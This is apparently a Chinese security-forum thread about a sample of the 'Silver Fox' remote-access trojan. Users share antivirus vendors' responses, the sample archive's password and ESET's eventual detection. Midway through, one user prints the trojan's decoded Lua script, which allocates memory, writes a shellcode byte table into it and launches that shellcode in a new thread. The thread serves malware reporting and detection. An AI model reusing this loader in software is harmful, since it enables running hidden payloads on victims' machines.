银狐远控变MD5

anthonyqian

ESET

As we haven't found any unequivocally malicious functionality in the submitted file(s), they will not be detected as malware.

回复了说明后

We would be interested in related encrypted and compressed file.

herofrederick

更新程序lua滥用类型，你们360之前不是已经给这种类型的上了新规则吗

wowocock

herofrederick 发表于 2023-12-22 14:51
更新程序lua滥用类型，你们360之前不是已经给这种类型的上了新规则吗

360无论是防御还是查杀都没问题，主要是提醒那些不用杀软或用其他杀软人。

yaokai815

金山毒霸miss

wwwab

anthonyqian 发表于 2023-12-22 08:03
ESET

eset这个好奇怪啊，这里的would是指will的过去式还是什么

be interested in 是 对....感兴趣

我们将会对相关加密和压缩的文件感兴趣，呃呃呃呃呃呃呃呃

123456aaaafsdeg

wwwab 发表于 2023-12-22 18:14
eset这个好奇怪啊，这里的would是指will的过去式还是什么

be interested in 是 对....感兴趣

我们对相关的加密和压缩文件进行关注。

这里的意思应该是

anthonyqian

wwwab 发表于 2023-12-22 18:14
eset这个好奇怪啊，这里的would是指will的过去式还是什么

be interested in 是 对....感兴趣

没必要和他们欧洲分析师扣语法，他们原文是

We would be interested in realted encrypted and compressed file.

related明细拼错了。他们的意思大概是想要对这个.dat文件进行分析，但是有密码。

Eset小粉絲

压缩包密码：99B2328D3FDF4E9E98559B4414F7ACB9

_TUProj.dat - Lua 恶意脚本

g_table_char = {233,11,3,0,0,204,204,204,204,204,204,204,204,204,204,204,...};
VirtualAlloc = "VirtualAlloc";
VirtualProtect = "VirtualProtect";
dllname = "c:\\windows\\system32\\user32.dll";
kernel32 = "c:\\windows\\system32\\kernel32.dll";
rpcrt4 = "c:\\windows\\system32\\rpcrt4.dll";
g_Len = Table.Count(g_table_char);
g_Addr = DLL.CallFunction(kernel32, VirtualAlloc, "0,"..g_Len..",12288,4", DLL_RETURN_TYPE_LONG, DLL_CALL_STDCALL)
RtlFillMemory = "RtlFillMemory";
g_Sum = g_Len - 1;
co = 0;
for i=0,g_Sum do
        DLL.CallFunction(kernel32, RtlFillMemory, ""..g_Addr+i..",1,"..g_table_char[i+1].."", DLL_RETURN_TYPE_LONG, DLL_CALL_STDCALL)
        co = co +1;
        if co == 50 then
                co=0;
                Application.Sleep(0);
        end
end
Application.Sleep(0);
CreateThread = "CreateThread";
DLL.CallFunction(kernel32, CreateThread, "0,0,"..g_Addr..",0,0,0", DLL_RETURN_TYPE_LONG, DLL_CALL_STDCALL);
Sleep = "Sleep";
DLL.CallFunction(kernel32, Sleep, 4294967295);

Shellcode

@anthonyqian

anthonyqian

Eset小粉絲 发表于 2023-12-22 19:54
压缩包密码：99B2328D3FDF4E9E98559B4414F7ACB9

_TUProj.dat - Lua 恶意脚本

https://www.virustotal.com/gui/f ... Tk6MTcwMzI0NjU0OQ==

就卡巴杀了
——————

给了ESET密码后秒回。。。

Yes, this archive will be detected.

The detection for this threat will be included in the next update of detection engine, expected version: 28445.

6lnyO.dat - Win32/Agent.AFUG trojan

祸兮福所倚